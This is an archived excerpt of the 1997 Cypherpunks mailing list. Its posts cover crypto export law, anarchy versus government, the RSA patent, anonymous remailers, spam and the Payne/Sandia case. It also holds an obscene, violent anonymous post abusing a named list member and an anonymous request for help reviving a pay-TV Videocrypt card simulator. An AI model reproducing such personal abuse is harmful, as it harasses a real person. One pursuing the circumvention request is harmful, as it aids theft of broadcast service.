restricting the export of crypto. Any attempts to enforce such an invald
law should be delt with in the courts. I find that it sets a scary
presedent that I *need* congress permission before I can exercise my
Constutionally Protected Rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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From tcmay at got.net  Wed May 14 09:28:05 1997
From: tcmay at got.net (Tim May)
Date: Thu, 15 May 1997 00:28:05 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: 


At 9:14 PM -0800 5/13/97, Lucky Green wrote:
>At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>>You might remember I wrote recently about the DoJ report released this
>>month that calls for new legislation to ban bomb-making info online. Now
>>Feinstein's office tells me she's going to introduce a bill.
>
>Feinswine never saw a gun/mind control bill she didn't like. She is an
>ultra fascist that rose to power thanks to the yellow dog Bay Area voters.
>

Feinswine/Swinestein is the most despicable of all the politicians in
Congress. (This is not just ideology speaking...her usual-ally Barbara
Boxer is much less swinish, and even has some independent thoughts. I can't
see I often agree with Boxer, but she's not the Big Sister automaton that
Swinestein is.)

We're basically under assault from all directions. The bozos in Congress
and state governments are spinning out new laws and obscure regulations
faster than we can react...and of course they're using our money to
generate these laws and lobby for them. Further, a mostly-brainwashed
Washington media population is surprising uncritical of these blizzard
drifts of new laws.

As others have noted, recently James Donald, the lawmakers play the "good
cop, bad cop" game very well. Crypto becomes exportable (good cop), but
only if keys are given to the government (bad cop). Speech is ostensibly
protected by new laws, but new provisions criminalize racist, homophobic,
disrespectful, hurtful, offensive, or unpopular opinions.

The "there ought to be a law" crowd is in high gear.

The only proper rebuttal is to reject their view that more laws will fix
the societal ills they perceive.

Attempting to "work with them" only feeds the good cop/bad cop system, as
the SAFE and Pro-CODE bills show.

Removing the Washington area as a malignant tumor requiring drastic surgery
remains an option.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Wed May 14 09:29:33 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 15 May 1997 00:29:33 +0800
Subject: unsafe SAFE:
In-Reply-To: 
Message-ID: <199705141606.LAA20666@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/14/97 at 12:53 AM,
   Tim May  said:


>No politician I know of will ever be a friend of crypto anarchy.

The only thing that polititions are ever a friend of is whatever cause is
flaver-of-the-month supported by the mob & media. They all have the
intestinal fortitude of a slug.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

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From frantz at netcom.com  Wed May 14 10:36:34 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 15 May 1997 01:36:34 +0800
Subject: Eternity server considerations and musings
In-Reply-To: 
Message-ID: 


At 10:18 AM -0700 5/13/97, Paul Bradley wrote:
>The proxies idea however can be extended to censor usenet, usenet
>traffic, although pretty huge, is not yet too large to be grep`d for
>keywords (currently around 600mb of traffic a day passes through the
>newsgroups) before being proxied, so a government can run a server which
>first checks to ensure the usenet article is not encrypted (this can be
>done crudely by checking for occurances of common words or by checking
>the redundancy of the text by attempting to compress it) and if it is
>encrypted junks it, if it is plaintext, greps it for keywords like
>"assasination", "anarchy", "porn" etc... then kills the articles that
>have these words in them, the other articles the government does not want
>to censor are put on a main server like news.fourth-reich.de and access
>blocked to all the other news servers.

Obviously you need to stego your message in a post that passes the
automatic censor.  The important question is what is the minimum data
expansion you can get away with?  I see an "arms race" in the making.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From lucifer at dhp.com  Wed May 14 10:42:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 15 May 1997 01:42:38 +0800
Subject: Quadratic Residue: Vulis
Message-ID: <199705141720.NAA25212@dhp.com>


Demento Vulis's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Demento's fetal cranium (not much to begin with).
 
       (_) _____ (_)
          /O   O\   The Proctologist  Demento Vulis
         !   I   !
         ! \___/ !
          \_____/








From paul at fatmans.demon.co.uk  Wed May 14 10:48:14 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 15 May 1997 01:48:14 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: 




> > Calling this an "anarchy" is comparable to calling the pogrom by the Third
> > Reich against Jews, gypsies, cripples, and others an example of anarchy.
> 
> Nonsense.

No, there is a distinct and marked difference between the absence of 
government and the presence of lots of different governments, the reason 
for war in Rwanda is because there are a number of rival factions all 
competing to gain power, a true anarchy has no government whatsoever.
Rwanda is an example of undecided government, not no government.

 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda?  

The entire first definition, there is no absense of government in Rwanda, 
merely a number of different prospective government.

Also, the definition of anarchy is flawed in that it suggests that the 
word refers to the lack of government leading to lawlessness, my 
definition, and I would imagine the definition of most members of this 
list, is that anarchy is the absense of government period. Just because 
the law we refer to doesn`t suit you does not mean it is not a valid system.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons.  Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs. 

Cite?

The correlation between your definition of anarchy and war is obvious, if 
you define anarchy as "A lack of government leading to lawlessness" you 
are obviously going to see a correlation between this and lawlessness!
I could counter argue that the correlation between government and war is 
irrefutably stronger but then I would be playing your little game, and I 
don`t want to get drawn into that.

Your comment that most intelligent people consider that anarchy is not a 
desirable state of affairs does not even deserve comment, democratic 
arguments for or against anarchy are completely irrelevant and futile.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From jya at pipeline.com  Wed May 14 10:48:27 1997
From: jya at pipeline.com (John Young)
Date: Thu, 15 May 1997 01:48:27 +0800
Subject: Public Key Break Paper
Message-ID: <1.5.4.32.19970514171836.009362f0@pop.pipeline.com>


Phillip Hallam-Baker wrote:

>As a meta-point any securirty person knows that employees and
>ex-employees are the most serious security risks. Its not exactly
>unknown for someone to go nuts and then come out with loony 
>paranoid theories.
>
>This may not be the case in this instance but its a good idea not
>to start seeing black helicopters around every corner...

"All cryptologists are rightly paranoid, they break the rules of the
game and lie to hide how it's done." -- Anonymous.

For what it's worth, it was Sandia who disclosed Payne's
public key break paper, not him. He's suing SNL for privacy 
violations.

His suit of DoE and NSA is about being fired for refusing to 
carry out illegal work which craven colleagues jumped to do.

William Payne could be the Bellwether of spilling the dark
national lab secrets unless, ahem, he gets his million
dollar settlement. I say good luck to him and the others
fighting the secret-hoaders.

Payne's dispute with Sandia and NSA shows once again how the
gatekeepers of top secrets manipulate those who work on
classified projects:

Lure the best and brightest with flattering invitations to
join prestigous secret work. 

Require high-penalty NDAs for participation.

Invite to work on repugnant projects, and if refused, fire
for insubordination or other pretext ("displeasing the
customer" or "to protect national security").

Then, destroy careers by precluding ever again working on
classified projects.

Finally, stigmatize the victim and publicize to frighten
other workers into subservience.

This entrapment into fearful servitude happens repeatedly in
high affairs of state: Oppenheimer, Snepp, McGee, Halperin,
and so on. There are dozens of current pending cases at DoE,
CIA, NSA and the like in the US, and many more in other
countries.

To be sure, wisely obedient government workers will never
have to cry "help me, my former colleagues are attacking, I
did nothing wrong."

Still, it seems that there must be ritual sacrifices of the
innocent, as Shirley Jackson wrote in "The Lottery," to
expatiate collective guilt, any innocent will do -- "for all
are equally guilty," so the gods and secret-keepers hyper-
guiltily smirk.

Who's next to exaptiate the guilt of the mega death national
and university labs? Surely not Hallam-Baker or Crisp?

Or, as Tim suggests, how about sacrificing the secret labs 
(and black-chip fabs)? There's a bill before Congress to
redo the NLs, but why dawdle when there's a surefire 
crypto-lottery.









From juriaan_massenza at ctp.com  Wed May 14 10:49:04 1997
From: juriaan_massenza at ctp.com (Juriaan Massenza)
Date: Thu, 15 May 1997 01:49:04 +0800
Subject: Question: RC5 assembly code?
Message-ID: <3.0.1.32.19970514131409.007b5be0@smtp1.abraxis.com>


I have the source code for RC5 encryption algorithm, but it is in C, 
well it is still cool since it is "portable" but I am actually looking 
for a PowerPC assembly code for the same, or at least for the Key 
Expansion, Encryption and Decryption routines.

I am not a PowerPC coder at all, I barely know 8086 assembly. Somebody 
have it already written?

The "formula" for RC5 is pretty interesting and looks like is made to 
be implemented in Assembler.

Cia0,

Juriaan









From frantz at netcom.com  Wed May 14 10:51:00 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 15 May 1997 01:51:00 +0800
Subject: Enough of this shit already!
In-Reply-To: <13510758714442@nac.net>
Message-ID: 


At 8:10 AM -0700 5/13/97, Ray Arachelian wrote:

>Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
>doctorate from the KGB, I'm tired of these spams.  Yes, they include the
>ones that IMHO come from Vulis, the ones to which Graham replies, the
>anonymous ones that reply to Graham, the permutations of them that
>spam Toto, and these.  :(

IMHO these spams are the reason people have been leaving the list, not the
political discussions (Perry excepted).


>Hell, the nice bomb making spam too is also a bitch being posted here.
>One could give the poster the benefit of the doubt, but it smells quite
>of the tactics used by the Postal fiends that mail child porno to an
>unsuspecting citizen unit, then arrest that citizen unit upon receipt.

Note that the bomb making information has revealed nothing more than what a
good encyclopedia should have.  To go from explosives information to bomb
making recipes requires a good deal more information, e.g. about safety.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From cyber at ibpinc.com  Wed May 14 11:06:09 1997
From: cyber at ibpinc.com (Roger J. Jones)
Date: Thu, 15 May 1997 02:06:09 +0800
Subject: FW: Anonymous Remailers
Message-ID: <01BC6065.17582FB0@pc1901.ibpinc.com>



-----Original Message-----
From:	Tim May [SMTP:tcmay at got.net]
Sent:	Wednesday, May 14, 1997 11:52 AM
To:	Roger J. Jones; 'cypherpunks at toad.com'
Subject:	Re: Anonymous Remailers

At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.

>2) Are in many cases reputed to be run by foreign intelligence services?

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

I don't recognize your name on this list. Fine, as we always like to see new subscribers. But I surmise you just haven't spent enough time yet reading and thinking about these issues.
You may surmise what you choose.  In fact, that is the essence of free discourse.  Of course, knowing is far better than surmising.  If you care to suggest a reading list please feel free to mail it to me direct.  And yes, I am new to this most charming and entertaining list.  Thank you for the welcome
Welcome to the Cypherpunks list.
* Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money, tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, Higher Power: 2^1398269     | black markets, collapse of governments.  "National borders aren't even speed bumps on the information superhighway."








From chrisd at loc201.tandem.com  Wed May 14 11:38:54 1997
From: chrisd at loc201.tandem.com (Chris DiBona)
Date: Thu, 15 May 1997 02:38:54 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <01BC6054.177E3E00@marmoset.loc201.tandem.com>


I don't pretend to be patent law knowledgeable, but I'll try to address this. While pure mathematics is unpatentable, the inventions based on it are not. Remembering you can't get patents on ideas, only inventions, I decided to go and check out the RSA patent and see why it has held up and been allowed renewal (no kidding. Think of all the trouble that could have been saved if renewal had been denied!)

This first thing I noticed is that not only is RSA patented, but so is Stego, under patent 5613004. The RSA patent is abstracted and here it is: 

ABSTRACT:   A cryptographic communications system and method. The system includes a
communications channel coupled to at least one terminal having an encoding device and to at
least one terminal having a decoding device. A message-to-be-transferred is enciphered to
ciphertext at the encoding terminal by first encoding the message as a number M in a
predetermined set, and then raising that number to a first predetermined power (associated with
the intended receiver) and finally computing the remainder, or residue, C, when the
exponentiated number is divided by the product of two predetermined prime numbers
(associated with the intended receiver). The residue C is the ciphertext. The ciphertext is
deciphered to the original message at the decoding terminal in a similar manner by raising the
ciphertext to a second predetermined power (associated with the intended receiver), and then
computing the residue, M', when the exponentiated ciphertext is divided by the product of the
two predetermined prime numbers associated with the intended receiver. The residue M'
corresponds to the original encoded message M. 


For the actual details of the patent go to IBM's patent server: http://patent.womplex.ibm.com/details?patent_number=4405829


Notice how careful they were to title it a "System" and a "Method". It is that they are patenting. I think if someone had good enough lawyers, they could probably challenge this patent using prior art claims, but what the hell do I know. I'm thinking however that the Secure Telephone Units had a dual key system, and were introduced by AT&T long before the RSA patent was granted, but I'm not sure. 

So indeed they are patenting the method of using the mathmatics. Which is thier invention, which is why (IMO) they were granted the patent.  

I wish that they hadn't been able to get it renewed. It would have been nice to see how RSA would do competing thier software libraries against alternative competitors. Ah well, guess we'll have to wait another 17 years. Too bad. 

  Chris DiBona

-----Original Message-----


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell at pacifier.com







From nobody at huge.cajones.com  Wed May 14 11:44:31 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 02:44:31 +0800
Subject: Videocrypt/Videocrypt2 any cryptanalytic results?
Message-ID: <199705141828.LAA08796@fat.doobie.com>


Has any progress been made in cryptanalysing the algorithms used in the 
european Videocrypt and Videocrypt2 standards used to encrypt satellite 
broadcasts?

Particularly, is there any information I can obtain about the protocols, 
the data communicated between the decoder and card, and the algorithm itself.

I am looking at the possibility of a new version of the "season" card 
simulator software created some time ago, which is now obselete, which 
used to be used against videocrypt broadcasts...







From kent at songbird.com  Wed May 14 11:57:51 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 15 May 1997 02:57:51 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: <19970514112959.12839@bywater.songbird.com>


On Wed, May 14, 1997 at 04:03:57PM +0000, Paul Bradley wrote:

>>> Calling this an "anarchy" is comparable to calling the pogrom by the Third
>>> Reich against Jews, gypsies, cripples, and others an example of anarchy.
>> 
>> Nonsense.
> 
> No, there is a distinct and marked difference between the absence of 
> government and the presence of lots of different governments, the reason 
> for war in Rwanda is because there are a number of rival factions all 
> competing to gain power, a true anarchy has no government whatsoever.
> Rwanda is an example of undecided government, not no government.

Roving bands of thugs are not the same as an "undecided government".

>> "anarchy n. the absence of government or control, resulting in 
>> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
>> 
>> Which part of that would you say didn't apply to Rwanda?  
> 
> The entire first definition, there is no absense of government in Rwanda, 
> merely a number of different prospective government.

Your sentence is an oxymoron, a self contradiction.  A "number of
different prospective governments" are *not* the same as "a
government".  Claiming to be a government is not the same as being a
government. 

> Also, the definition of anarchy is flawed in that it suggests that the 
> word refers to the lack of government leading to lawlessness, my 
> definition, and I would imagine the definition of most members of this 
> list, is that anarchy is the absense of government period. Just because 
> the law we refer to doesn`t suit you does not mean it is not a valid system.

You are free to use the word anarchy to refer to asparagus if you 
wish.  However, the meaning I used is *the* common English meaning.  

> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons.  Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs. 
> 
> Cite?

Cite what? The obvious correlation that you agree to below? Or do you
think I need to do find a study that shows that intelligent people
don't consider an anarchical situation such as the Rwandan collapse a
desirable situation?

> The correlation between your definition of anarchy and war is obvious, if 
> you define anarchy as "A lack of government leading to lawlessness" you 
> are obviously going to see a correlation between this and lawlessness!

That's not *my* definition, it's *the* definition, as described in a
standard, reputable dictionary.  I realize that you have your own
private definition of the term, that you share with your friends and
an esoteric community.  However, I am not a member of that community, 
so I use the standard meaning.

> I could counter argue that the correlation between government and war is 
> irrefutably stronger but then I would be playing your little game, and I 
> don`t want to get drawn into that.

Of course there is a correlation between government and war.  There is
a correlation between people and war, between use of guns and war (so
clearly we could eliminate war by eliminating guns), economics and
war, etc etc.  Correlation is not causation. 

> Your comment that most intelligent people consider that anarchy is not a 
> desirable state of affairs does not even deserve comment, democratic 
> arguments for or against anarchy are completely irrelevant and futile.

Gosh, I thought you weren't going to comment...

Of course, democratic arguments for or against dictatorship are 
completely irrelevant and futile, as well.  Just out of curiosity, 
what the heck is a "democratic argument", anyway?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From osborne at gateway.grumman.com  Wed May 14 12:14:19 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Thu, 15 May 1997 03:14:19 +0800
Subject: Spam IS Free Speech
In-Reply-To: <199705140604.XAA01787@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970514145756.009ae140@gateway.grumman.com>


Ross Wright wrote:

>You can not retaliate against free speech, Rick.  That's a bad
>thing, plain and simple, black and white.

I have a qoute in my sig database attributed to Woody Allen that says "I
think you should defend to the death their right to march, and then go down
and meet them with baseball bats.", when talking about the KKK.  As much as
I can't stand the man, I actually agree with him on this.  I've got only a
minor problem with Sanford sending spam (it being unsolicited and all), I'm
just saying that I should not be denied the right to spam him right back.

>Some of your metaphors are kinda harsh, and a bit cartoonish.

The US Gov't is harsh and cartoonish (look at GAK), what's your point?

>It depends on what street you are walking, here.  Kevelar *may*
>be in order.

That's true.  I misspoke myself.  Obviously, I'm not going to run through
the streets of CUba screaming "I'm a wealthy high-ranking American", but at
the same time, I'm not going to be walking through Cuba anytime soon,
either.  Do you see my point?  It's all in whether or not it's *solicited*.
 Simply having an email address, to me, is *not* an invitation for everyone
in the world to send me mail to it.

>What's your problem with your 'delete' key?

Nothing.  Like I said: I've got filters.  I'm just saying that I shouldn't
have to use them (in a perfect world), as all "spam" I get should be
solicited.

>Now, here's where you start to go really crazy.  Spam as a weapon?  

Actually, I was just going with the kevlar thing.  Spam, in my view, isn't
necessarily a weapon, but to me it's just as unwanted and unsolicited as a
stray bullet.  If I feel like asking for someone to shoot me, I'll suit up
first, but until then I don't really appreciate the pot shots.

>By now, everyone knows that any of those things are as good as 
>giving away your e-mail address [...] it's an open invitation for
>me to send you advertisements, just like the yellow pages.

Nope, you're getting confused here.  Giving my email address is akin to the
*white* pages, while asking for spam is the *yellow* pages.  If I were to
put my phone number in the white pages of the local phone book (which I
don't), it would be so that someone who has a *need* to contact me could.
If I wanted people calling me for no reason, I'd put an ad in the yellow
pages.  See what I'm saying?

>You have the right to make some snotty reply, but no right
>to intentionally harm.

Aha!  There's the rub!  If I'm paying for my connect time, then spam *is*
harmful.

>Rick, what if someone decided they did not like an opinion 
>you expressed on this list and did the same thing to you?

Did what?  Set up a robot to flame me?  I'd hope they at least had the guts
to not do it anonymously, but I can't fault them for not liking me.

>You, nor anyone else, has a right to lash out at 
>someone for something they say or some ad they send you.

So why then do I not have the right to lash out at them in return?

>No one has a right to retaliate, get it?  First Amendment?  I didn't 
>read in there the right to get back at some poor advertisers, did 
>you?

So you're saying that if I came along and dropped a few billion pamphlets
for a campaign of mine on your house.  In addition to having to pay to get
them cleaned up, you also had to pay for the structural damage my leaflets
caused.  However, since I didn't *intentionally* cause the problems, I am
in the clear?  Give me a break.

>Free Speech : Good      Mail Bombs : Bad

Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't a mail
bomb or arp attack proctected by your idealized free speech?

>Are you a self centred ass, who's personal feelings are more important
>that the Constitution?

Yes, I am a self-centered ass.  No, my feelings are not more important than
the Constitution, my feelings help *make* the Constitution, remember?  It's
moot, anyway, as I'm not advocating removing free speech.

>You could be doing so much more with your time.

True.  And I could be doing *more* with my time if I didn't have to spend
it setting up spam filters!

>No war, no battles, no skirmishes, no need for "Anti-Spam Laws".

I agree.  I'm not asking for any laws, just the right to annoy spammers
just as much as they annoy me.  Why can't I do that?  If I decide to spam
them, not our of retribution, but as an exercise of my right to free
speech, then how is it any different?

>Just be nice, and everything will work out for the best.

You're more optimistic than I.  It must be nice to not be cynical.


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"They're probably foriegners with ways different than our own. They may
do some more..... folk dancing."






From paul at fatmans.demon.co.uk  Wed May 14 12:15:03 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 15 May 1997 03:15:03 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <19970513225047.26856@bywater.songbird.com>
Message-ID: 




> > Your position is laughable.  Statistics on murder rates are knowable for
> > many countries.  Studying the murder rate for those countries will at least
> > provide a range against which deaths due to government-caused wars can be
> > compared.
> 
> Only meaningful if you can compare with murder rates in a human 
> society without a government...but of course, in fact the only time 
> this happens is when society breaks down entirely.

This is all away from the main point, I have a large dislike of arguments 
which rest entirely on practical grounds, anarchic societies may be more 
violent, this does not offer any reason why they should not be the 
correct type of societies from an idealogical and moral point of view.

> And I am fascinated with the way you make the "government" into a 
> bogeyman that is responsible for all the evils that beset the human 
> race.  No consideration of other factors -- racial and tribal hatred, 
> religious conflicts, class conflicts, etc etc.  A wonderful 
> simplification. 

This argument does have certain substance but it does have flaws:

Firstly, all religion which has caused conflict in the past has been one 
which wielded power in a governmental fashion. I`m no historian, but I 
cannot recall one incident where a religion which had no executive power 
caused violence against other groups of people for religious, or indeed 
any other reason.
For example, the catholic church in the middle ages had a massive amount 
of power and used it to eliminate elements of society which threatened 
it`s position, it acted effectively as a government, which is, after all, 
merely a set of people who adhere to a rough set of beliefs and commonly 
held principals, the root of government is in religion, they are two 
sides of the same coin.

Racial and tribal hatred is a more convincing argument but is still 
rooted in religion, a lot of the violent overthrowings of governments 
around the world have resulted from that government taking a racist 
position, most anti-government protests and indeed even riots in the 
western world are caused by racism or opposition to it.

Class conflicts can be similarly dismissed as another facet of 
government, where the government favours one group of citizens over 
another in terms of the way in which it governs the anger of the 
repressed or badly treated group of people is often directed towards 
those in a better position than them rather than at the government which 
caused their position to become as bad as it did. This is merely the 
jealous nature of humans overcoming their logical side.

Beyond all of this, the argument isn`t really very interesting, I`m not 
interested whether the government murders and kills or not, any 
infringement of the rights of citizens is sufficient in my mind to make 
them criminal, and necessitate their removal from power, murder is merely 
an extreme form of this.

> > >Second, such cases of civil breakdown aside, all humans, for now and
> > >for the conceivable future, live within the context of some kind of
> > >government.  The option of non-government simply doesn't exist. 
> > 
> > That's precisely what the governments and their agents want us to believe.
> > Minarchism is certainly possible,
> 
> Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
> want, except that some evil force is preventing them from getting to
> it, and you, Jim Bell, are the savior that is going to bring it 
> about.  A classic messiah complex.

I saw nothing in the comment that suggested Jim believed he would bring 
about minarchist government, minarchism is a definite possibility within 
our current society, because it is based on the concept of democracy 
which is accepted by most participants in society and furthermore it has 
been proven to work in the past, the initial stages of the US government 
when the government adhered to the principles of the constitution could 
be called minarchist, you might say that the fact that the government has 
now increased in size and power suggests minarchism did not work, I would 
argue this was merely the fact that the governments power has, until 
recently, been increasing slowly, people take little notice of small 
infringements of their rights, the government know they can safely upset 
a few thousand people at a time without problems, then go on to offend 
the next few thousand once things have cooled down somewhat, at each 
stage of course the objection is small enough to be insignificant, the 
end result is the government can increase its power virtually without bounds.

Now most of the peons accept the "need" for larger and more powerful 
government the pace of change has accelerated, the government has begun 
to use force more and more often to crush opposition to its actions.
The terror state is on its way.

> > >Third, murders caused by governments can't really be separated from
> > >murders caused by individuals.  That is, in many cases deciding
> > >whether a murder is a personal action or a government action is
> > >impossible. 
> > 
> > "Aye vas joost vollowink orderz!"
> > 
> > Sorry, we're still laughing at you.
> 
> When the LA cops beat up Rodney King, do you suppose they got any 
> personal satisfaction out of it?  Or were they just cold government 
> functionaries, doing their job?

I would say part of each, they knew however that their position as 
government thugs protected them to a certain extent from retribution, 
has they been living in a minarchist society where their actions would 
have been punished harshly they may not have acted as they did.

> > >Fourth, it's fashionable in these circles to paint all governments
> > >with the same brush, but in fact, some are much better than others.  
> > >But it only takes one bad one to start a war.  Furthermore, human 
> > >motivations are complex and irrational, so wars are started for 
> > >essentially insane reasons.  This is a human problem, not a problem 
> > >of government.
> > 
> > No, quite the contrary.  Considered from the perspective of the cumulative
> > interests of society, wars are not beneficial or "profitable."  Only from
> > the very limited viewpoint of the military-industrial complex and government
> > employees does war appear to be a net benefit, and that's true only because
> > the interests of most of the population (on whom the effect of war is a net
> > negative) is ignored.  The reason war occurs is that the decision to have a
> > war is made not by society as a whole, but by that tiny fraction which profits.
> 
> So of course ideology could never start a war -- Arabs and Jews *only*
> fight because of their governments, the American revolutionary war 
> was *only* fought because the state governments wanted more power, 
> the Tutsi's and the Hutus only fought because their governments 
> forced them.  A wonderful simplification, blaming everything on 
> "government". 

This is not really an over simplification given my argument above, 
I believe most groupings in society can be reduced to some form of 
government or another, whether it is of your accepted narrow definition 
of government or in a wider sense.

> > Put the decision to have the war back into the hands of the population as a
> > whole, and war will decrease.  Give the public the option to make war upon
> > the government parasites infesting their own land, and war will end 
> > forever.
> 
> A wonderful dream, truly.

Not a dream, a past reality, and indeed, in certain regions where 
government intervention is more extreme than it is in the USA or UK a 
present reality. The only reason for war is government, this is simple to 
see if one defines government as I have above. I do not believe this to 
be an overgeneralisation, merely a statement of fact, government is any 
form of custom or structure which forces certain courses of action on 
people. Of course there are exceptions, such as the NAP, which is a form 
of government under my analagy, which I do not believe could concievably 
be called an initiation of force because of its very limited scope.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From nobody at huge.cajones.com  Wed May 14 12:19:23 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 03:19:23 +0800
Subject: Public Key Break Paper
Message-ID: <199705141841.LAA09403@fat.doobie.com>


Phillip M. Hallam-Baker wrote:
> 
> >I just took a brief look at it, (thanks for forwarding, Lucky),
> >and it's pure crap-ola.
> 
> As a meta-point any securirty person knows that employees and
> ex-employees are the most serious security risks. Its not exactly
> unknown for someone to go nuts and then come out with loony
> paranoid theories.

  Whenever I see the dying embers of the spam debate being blown
to life (along with similar non-issues), I wonder what the disinfo
artists are trying to distract me from.
  I don't have to wonder too hard, however, since I can always 
count on the usual suspects to step forward and pooh-paah whatever
they don't want anyone to look at too closely.

  Anything Phill casts aspersions on has to be worth checking out:
   http://jya.com/snlhit.htm

TrafficMonger






From osborne at gateway.grumman.com  Wed May 14 12:33:37 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Thu, 15 May 1997 03:33:37 +0800
Subject: Proxy Cryptography draft available
In-Reply-To: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970514152201.009b05f0@gateway.grumman.com>


I had thought about this (proxy crypto) a few weeks ago as an attack.  I
didn't give it much thought, as I'm weak on the math side, and it seemed to
me that it couldn't have been an original idea.

What really worries me is that this proxy function links alot of stuff
together: it links algorithms, it links keys, etc.  If I develop a
